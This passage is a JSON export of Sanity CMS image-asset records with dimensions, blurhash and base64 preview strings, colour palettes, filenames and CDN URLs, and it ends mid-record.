{"_createdAt":"2022-07-05T12:01:44Z","_id":"image-681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542-png","_rev":"0HOthdQkSgJdYc0CAVJGPd","_type":"sanity.imageAsset","_updatedAt":"2022-07-05T12:01:44Z","assetId":"681bb45d5373d3486dc4327df4f9a68e2d9589d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQMQ0IGd00vz0y.4M|rWs+NL00VZlBxB?GRPouItxFXm0Mr=^*tkrq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.983477576711251,"height":2542,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAEsElEQVQ4jXWVD0yVVRjGzycognJFnTj/1dqaM025XOWKIQoEIXDvRbFhlv9yldl05XI6rZzOcpiu6VpsppVhtnTOZk3udy8YiKYlUYoGQTdygiIqCJc/l3u/c56n3QtamZ3tOe85Z/t+e973PWefEEIIkg8VoARkr1D1haEoKxzhsjQpUroSIqQer0k9Xki3VUjdLKSzT/8L+4cGqKYT4bI8e4hRPHmMUTz5cambH5EuS4zUzQMN5zRhFE8RUo8ThjPu30AA99ZhAEYAeAJAEnrvZKKlPFfV7rbJc4vTpNtqNZxxk6UeP07q5mjDGRcecqk/3OFQkjMArCV5AEAxlL8c/rtl6Lp6BLfObFM1BfmyLCNZOuMsUjdPlLo51tDNEQ9L2UQysx/0G0kvgAAACagAlNEOo6sG3t8/U56PV8iyjLmGMy5R6vFTpG4eLp1mrT/NUKqDACYDKAJwCyAQmviAICF9jeioP6iqCxZL3ZpshJzGxxp6nBZyphCsHyeQ3EbyGkMj+Dn/gwsdEZI97R7UuvfIE8855LdPWmTJjFj5zfQ+IIAwEnND9QL9SpGGJAxFKgUEJNATIIMxuFdBss/nx+WfKlXRpg3yc0uiUWYZJYvm3AdGkljS7Ud1UztR2wJUNxO/thC1t4jKRvJ0A1DVBNbcBDytRLvXoKq+0oqPCopkQco8o2TqKHk0S7tXv2iAq6930KPXgQeriEM/E4d/IYqqyMLz5J6z5P4LwCeV4LHLRMNtRXmp1s9d75er9VnPy+NTR8tL8/scVlxpG9bpM1Zd70BdRQOp1wEVDUT5H4S7PrgnXfXgKQ/orgfOXiVutkuqykuK77xbqVbYlshPLSMMLg0+vA/Eyr1Xhnmauxd5fep8Ww9kuw/s9gOdftLbC3h7wS5/UGRnL9AVIIwuH+Eql3h1YwUy7FlqR3oEg7jZGy5opvxTUedq7yYEDLWfZOvfXb7f1QciwaYbZOFBH/JeOsbptulspOCylUJkbqnSROrJqC2HPWM7ugMvKCkrlFL++3emb/Qv+s+8XsBVSqzZeIOpC7cjwT6OIlZgjk2IsctPa+EOV1TM4tOmksrrE9uab7wl22/W0BdsowwB+tgEpQRb74DlZeTbW3tgX+REUk4W5jw7mJMyBZ+yCSFsLm1QritS5LijLa99F/P9ia+t3T8c3ykvl9bhz4t+NjcQLdfIRg958UfyaBGw6c1O5i08w5R5rzA5ezRXvyf49CzBJJsQmt2taTZX1ECHyyRs7ui8FXtHXihYm3h73xtbjUObS3lkRwO+3NnGfVs7uH3tba7Kr+H8Z75ieupypmaMZ3ruAKYfEEzJErQu6AMKmztKs7tMYQ63SdhLTLMdu0Yef9Exyfu6NYvrZq3DmuTdXJn0IfNn7qDN+jIzZyUyM3UEbTkal64XTJ8nOMMumOjoS1mzuyKFzW3S7K7ocIc7Wiw4Ex3mKBn6RfbcSOZGDVfzx4yn/bFHaZ8yhgsSTVyWE8bxEwRFumBqlmBqkmD2TMHZ2SFg0OVAze6KEHZ3RDAOdpyMGJZXPEhsplYZ/EXc0xAhOC1G0LpeMC1NMC1dwJ4gmGsRTMkI3kLxF6IUNLxiTQjXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564d53","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042e8f","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c5989d","foreground":"#000","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5989d","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78dcfc","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c988c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b86f8","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Priceline-logo-image-composition.png","path":"images/sczeoy4w/production/681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542.png","sha1hash":"681bb45d5373d3486dc4327df4f9a68e2d9589d6","size":138341,"uploadId":"Hei7yfVsBtbWnAw0eMDorCmgc01cSsRf","url":"https://cdn.sanity.io/images/sczeoy4w/production/681bb45d5373d3486dc4327df4f9a68e2d9589d6-2500x2542.png"} {"_createdAt":"2022-07-22T15:41:08Z","_id":"image-66464615f37f13a769d2dd06c01ac71aca9b731c-1200x1200-png","_rev":"qSZxM9b8jt7q1sKE71Xu15","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T15:41:08Z","assetId":"66464615f37f13a769d2dd06c01ac71aca9b731c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eNIX59}=009aKk=XeSXA%hI;1PEOwHoyw^A0NfV?NGxaI9R*x]xHog","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d1b17","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e4506","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f09","foreground":"#fff","population":1.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dbc8ad","foreground":"#000","population":1.19,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90a9ee","foreground":"#000","population":0.26,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a759d","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f09","foreground":"#fff","population":1.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"tsdb-hero.png","path":"images/sczeoy4w/production/66464615f37f13a769d2dd06c01ac71aca9b731c-1200x1200.png","sha1hash":"66464615f37f13a769d2dd06c01ac71aca9b731c","size":159777,"uploadId":"R7ztHaSS6cTg6xJSoex4qgH7aL8DpSCP","url":"https://cdn.sanity.io/images/sczeoy4w/production/66464615f37f13a769d2dd06c01ac71aca9b731c-1200x1200.png"} {"_createdAt":"2022-07-05T14:20:41Z","_id":"image-2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844-png","_rev":"qkpX9b3U0TpOGFQp9csS7u","_type":"sanity.imageAsset","_updatedAt":"2022-07-05T14:33:40Z","assetId":"2acdd91915a30077fd653212e97d66e8740bdbd0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"McPsSB*0s;Z#XnbcV?bbt8V@t-R4NGt7t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACfklEQVQokX3OS08TYRgF4Pk7/gET42XnAhIxcakLNmrYYEQKiEqiaJVIDNgIoQFFCUoEQYKQIBJpqb3BtNNSaGvthXamM535OmVoKcTNe0xbQBfq4snJ2ZwcTlENkuQCZSRGabFmO6NWuyTrJGZrMlKetjMapcUaMZunnFakHCuRohZJZSViepm4REohIRglp9tHDud6NV0eP3nWAuRdC5LbK5DnML+5+CqXR6DARozCMYm+OKM0scDTV0+MtsUCcdsZFaGtONZ9m1jnQ+D9m/AHIhCCUfiEcLX7hC34PQL8Sw74F20IOOz47v4Mz/wknvcOofmOFV39s1h0hMFVrso5g7LKzrFKr5CyOiVTMsV+pCnlEkixvqd8/wDtTpmpNNVImd7z5Gy9SKMtJursHCTrhJ04ppdRs3/oqJch53YQiSbA8wK8HxfgunEPwcuXoD86i5/DJ3HQdwoHt08jea0BM20P8WnODU7L7+FfJFlHKBSBzb6KtyOv0HWlEeb6M1jpbkB67i4yCxaollswrl6A3N6BtN0HTvvj0ZHKWCVz2i7iSRFeL4/x8XdoN5lgam7CiOUx5qbGMDs9CdvIANI3r2OvrQPGihcc+8/DCkU1kEhK8K75MTP9AW+GnmC8rwUvzU14YW7H676ncNzvgtzzDAV3EBxTClBEDaLIIOeM43d/psqKkOQCYtEINpcHER6ux0b3CSx3nsNETyvmrVbE5pfAEllwTFSRjYtIJiSIWR0qKx0PHWF6JctQ1QJY3IOi/QH2x+qgWurAj3bDa7MjFRehaUVwTDWgKgXIyg5yWvGvD38Pl8GYAT0dwa4wC2N1DApvg5SWa0fye/gF2G/sjBctB/0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404d55","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#182b4b","foreground":"#fff","population":3.94,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0d","foreground":"#000","population":4.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca949b","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1d06d","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6784b4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98c0d","foreground":"#000","population":4.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844.png","path":"images/sczeoy4w/production/2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844.png","sha1hash":"2acdd91915a30077fd653212e97d66e8740bdbd0","size":267539,"uploadId":"XxiDxYvO2D95giWJmAFpfNIgg22g1jUa","url":"https://cdn.sanity.io/images/sczeoy4w/production/2acdd91915a30077fd653212e97d66e8740bdbd0-1567x844.png"} {"_createdAt":"2024-02-12T14:42:49Z","_id":"image-49b048e58588a4a7acbe41dcf92c84379800936f-56x56-svg","_rev":"ebFUNpMndz2LKq7K7CsGt6","_type":"sanity.imageAsset","_updatedAt":"2024-09-17T09:43:34Z","altText":null,"assetId":"49b048e58588a4a7acbe41dcf92c84379800936f","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7IW5~n-00oN0v3va#;9bG#X00WTPrWTpO8%jt=Lf7%1*1ju9:a}8}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":56,"width":56},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEtklEQVQ4jVWM7U9TZxjGn37oP8A/wUc/n3PanufM6bZkOJclS3zhZSqdBRdEw5zLZtiom2IGSkDCJoIGig4QCULBlzJaC6JuCYOellLanp5zCpS++QENSXnu5T5F4z5cee7nun7XReyiTGrEIGnmoqSSyqYKGigpp4EPjkpLziPS0vQRaUk7Ii292RXeHszKpYCEbBUNmH4So8aGnQYIcdAgOc4vkmoqm09QufQYlR1f0cC9KikQrpIC+UopsF0lBXZQu3ceM2SOUbkGO3ZJNh8VZeKgMiF1ljCpFYNmB5X3nKSy007lhWoqb1VTGd7qhFjU+x4yyJ6k8kXs1oqyuY5GCDkrLpvqaKj0Gxp0nqLBlVoaLNTSINTSIDslBVnd/hBrKAuzhgNhdnp/yPAw22UK2MFuHQ2WnhGDJtIgLpecEUM19WJooZ6GCqfFEDttK+rcx2H4zR5j3T9orPtHjbWcjLPvPgnD2xzZehoqYPeMGHI0iKESct62LH2/N3zv54ORrSvlMbh8OMoaD0TY+b3L4PxilQ04kzDWkYKx9hTc/XUNfvly1cgayyIM2SvlMcAubuAWuWALOy8fXA3f/laDkeZ1NuhcY33ndej8WmEdxxW425iEyespmOzchKGLa9BpV4wMGWRHmtcZdnHjgi3cRJqsK9Pth+L5seYNcLem2P2L6zB5LcU8v6dhvGUD8D/dnYaZ3gwgM9GaAsyQwczdmmLotx+K55qsKx5yybqitx2IbQ+dS8JUS4o9vJpif3WlYd6Vg2f9WfDeyMDTngz4e4vv/EDOyJBBdqolxbDbVhbbvmSNaKTFGnlzla7u9BxOgNu5wXxdGTbXm4XnrhzM387CbHcGpq9tGpq7mYXnfTkjQwZZt3ODYRc3WqyR16TdsvqmQ4zuuCpV8Lal2YtbWfbPQB4W77+CF7dy4G1Ng/96BvydGfBdS8PL2zkjQwZZb1uaYbfDFt1pt6y+Jl2WqPaHLbY9VKGBvzXNnndl2VxbBnzNm+A+uw4T9WvwsjsLf9/MGX+U7/ImIIOsvzXNsIsbuEV6LDFPryWW7/9IgdEKnY1XJ2HksMbufJqAvg8VGDuRhEVXHpbuvIIH9iT07VMAM2SQHa3QGXZ7LbEcbpE+Ie7sF+LhfkscBmwKGxAV5rLGoZ+PM/TGj+rw740cLHbnYaIyCS5LMXNZFUB2wKYYHG70CfEmcldQpEFBuTcoKFuDvAKDvMIGBYUNWYr3WJkGzy5swnxjGh58psG7TFCYwfLGvfWnoAzfEeISGeaVkhE+4RgVEgujQqIwKiTYO3EJGN+nsac1G8x/aoNN7NcM73+MYHQWcAO3yAivmMb4ROk4rzoneHXFzasFN6+Cm1eZm1PZlKixvz5PGsIbPSMrMgXsYBc3RviEiTywKWRCSJgneXXPQ151Pua1hSe8tvWE1+CtPJai3veQQRY72MWNYYtGyBSvkllrkjziVbOH10qnOc0xw2nDXk4Pezk95+P0bR+n7+xqGz3MkEHWw2mljznVPGNNkUleJeQRnzCOHholXl41+Tit5CmnS35Ob5rldM8cl9TmuOTronQNvVlOb/JzuoTsDKeabtG4sfGQT5D/ABPwF4IGKu78AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c345c","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#270e52","foreground":"#fff","population":1.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d152f2","foreground":"#fff","population":1.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a4cc","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d152f2","foreground":"#fff","population":1.91,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#904fae","foreground":"#fff","population":1.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc24f4","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"qcIblBlYNB041RLlsLPbAj","_type":"reference","_weak":true}]}},"originalFilename":"logo-dragonfly.svg","path":"images/sczeoy4w/production/49b048e58588a4a7acbe41dcf92c84379800936f-56x56.svg","sha1hash":"49b048e58588a4a7acbe41dcf92c84379800936f","size":5508,"title":null,"uploadId":"Pi740NRI25fzkAIjyjbKB1XkwGdwZkB0","url":"https://cdn.sanity.io/images/sczeoy4w/production/49b048e58588a4a7acbe41dcf92c84379800936f-56x56.svg"} {"_createdAt":"2022-07-22T15:45:40Z","_id":"image-5ede346f3a053d24d88b3b3d855df22e4279c553-1200x1200-png","_rev":"qcIblBlYNB041RLlsNDP4n","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T15:45:40Z","assetId":"5ede346f3a053d24d88b3b3d855df22e4279c553","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJH^-ztl8^?59D}40~tAxcxVD45Rt89~F7WPKJwkRpNHE$NP-QxSss","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414648","foreground":"#fff","population":0.42,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69430e","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e11","foreground":"#000","population":7.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a0ba","foreground":"#000","population":0.15,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74b4f6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#635b99","foreground":"#fff","population":0.5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89e11","foreground":"#000","population":7.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-touching-watch.png","path":"images/sczeoy4w/production/5ede346f3a053d24d88b3b3d855df22e4279c553-1200x1200.png","sha1hash":"5ede346f3a053d24d88b3b3d855df22e4279c553","size":154598,"uploadId":"bBdIbbu1DnmyWDrcIGeqL7d0QhO7LM1j","url":"https://cdn.sanity.io/images/sczeoy4w/production/5ede346f3a053d24d88b3b3d855df22e4279c553-1200x1200.png"} {"_createdAt":"2022-07-22T15:47:52Z","_id":"image-46a93841e05c2acc27ebbddab87f81700f9f86df-1200x1200-png","_rev":"qSZxM9b8jt7q1sKE71d8bW","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T15:47:52Z","assetId":"46a93841e05c2acc27ebbddab87f81700f9f86df","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQGj%%%U4-VXA8{@,kJFEoOZvvJHKGemA1JFOZTHouV=NDbCt9$2sp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAGAElEQVQ4jTWRf1DT9x3G3yEgggiEkES0LaLV7agOtVorIqHV1e269Ww7ta2tfr/k+01CIEACJEGQBhUCRARtQX7G4OwQpetaKZu92vmza9fuVvfj1Hnaoo4A4cdWBUnC9/ns6N2eu+ff172eewi9KmJOGbHtROhWJuKkIh3vJTyPM4nr0atSoUFBLCWJpC2aMEmriYRWPR+ZqtlGIlMlQ0YiYZOKoFUTNiqJcCqRUBVO2EuEzjgNWua/jPbYQnTFW+GJew7H5kU/SF0tC2xZGBvSatRSplqFTNX/Ox9atRzr4ugHcJaGCCeVBNccgpEIjdFRaJq3Fp2x+eiIbcTRaAuc0ctYujKOZcRrWGZCPHtu0dzJTUujpjIWJ0xnPKGezEiJGVi3ScZ2ELGsWcNVakKdkpCcQmiID2PdyidxSpkHT1wrGqIqWVnUi8Htjz1z/fXMVe9aTMusNpu6oP5lOXuNwthPKY5tjlCwzeHhrIToT6m7iZCpIjA1oVpDOK+Zg/dVG9CdcIB1xXvQrqydak7bd8f9VsWpSkd1ucNebSksecX0ildjShxUnFjeuOTqiuyUK0/potmGWBp5Jo2IZSQS+1WiTFqmkYfMmhgcVWxGa/zhqbaFPT6v9oPbH5Ze+urjrmve1mN3K8qdtyxCQ5Ow+rqgSxoqLkr6a1W56lJRfsw/snbJxxIq4v8oI6ZVyaFVz0OWOoFp1YtCxuSfD7tWNX5Z/7PLZ5st3178fc9/v/j8SvD0mdOsqrJhqmDHb2+IK777xvj4wN2CpH+O5Cpu3sqOut+7J3zoDV7+b/Xs3Qpo1SpJq1LeeGltyuWC1/mPaqy/a6lxDB5y7Q/29PTg6tXPWV/fWbirW6XCV/8QMqbdlsxLbjHzYzeZkHCPcdG+77kIXx8n9+0kSatZyDITYz/d84voslxjurPE2lFXdfDeIbc75HK5WHNzM/r7+9Hf/zGO1HuZZecnzPD0tzAuvwcx+b7Eq4fAxQ4xLtI3yIX73psFKu5uWzOnyGbXmPLMu015hZ/YHOXfV1fXoLa2Bi5XDY4f9+Kjsx+y1qZuFL91HsL6+8hOHQO/xA9u4Qi4hGHGzRt6yM3x/Y1YenRYuTk3ymQyrTLkVvBGS6fXXOy5b9vbiIq3q+B0VqKhoQGnerqZp+0M7LqL0G0cBJ82Dv5HfsYn+8FphhkXNzTJRfv+Tu9uUVFBQW5UToHz2Zyyfrv54N1zZuediVzbBZZn6UJxyWEcOOBGe3sbOttOoyznKoSsQcY/PQ5+xSj4pX5wi0YYlzg8xMUN9RDbxci2zy3Pq/3q2bxD907m1j0YyznwSBIdY9Dl/wv63M9gsZ5EXV0nOtp6cbDkz8yw1Qd+/QSyV4+B//Eo4xf7H/JJI+c45fCbZPpghoweFm44FthqeCdwSV8fkMSDASaUB6ArnmK6vFGIhhtw2C6jvfUCWg9fg/W1QfCbxln2uvEQv3LMxy8b7eOf8HP8guEkMvyGkd6DSLEN28Vj0l+EIzMQaoMQKgMQSgMQLNN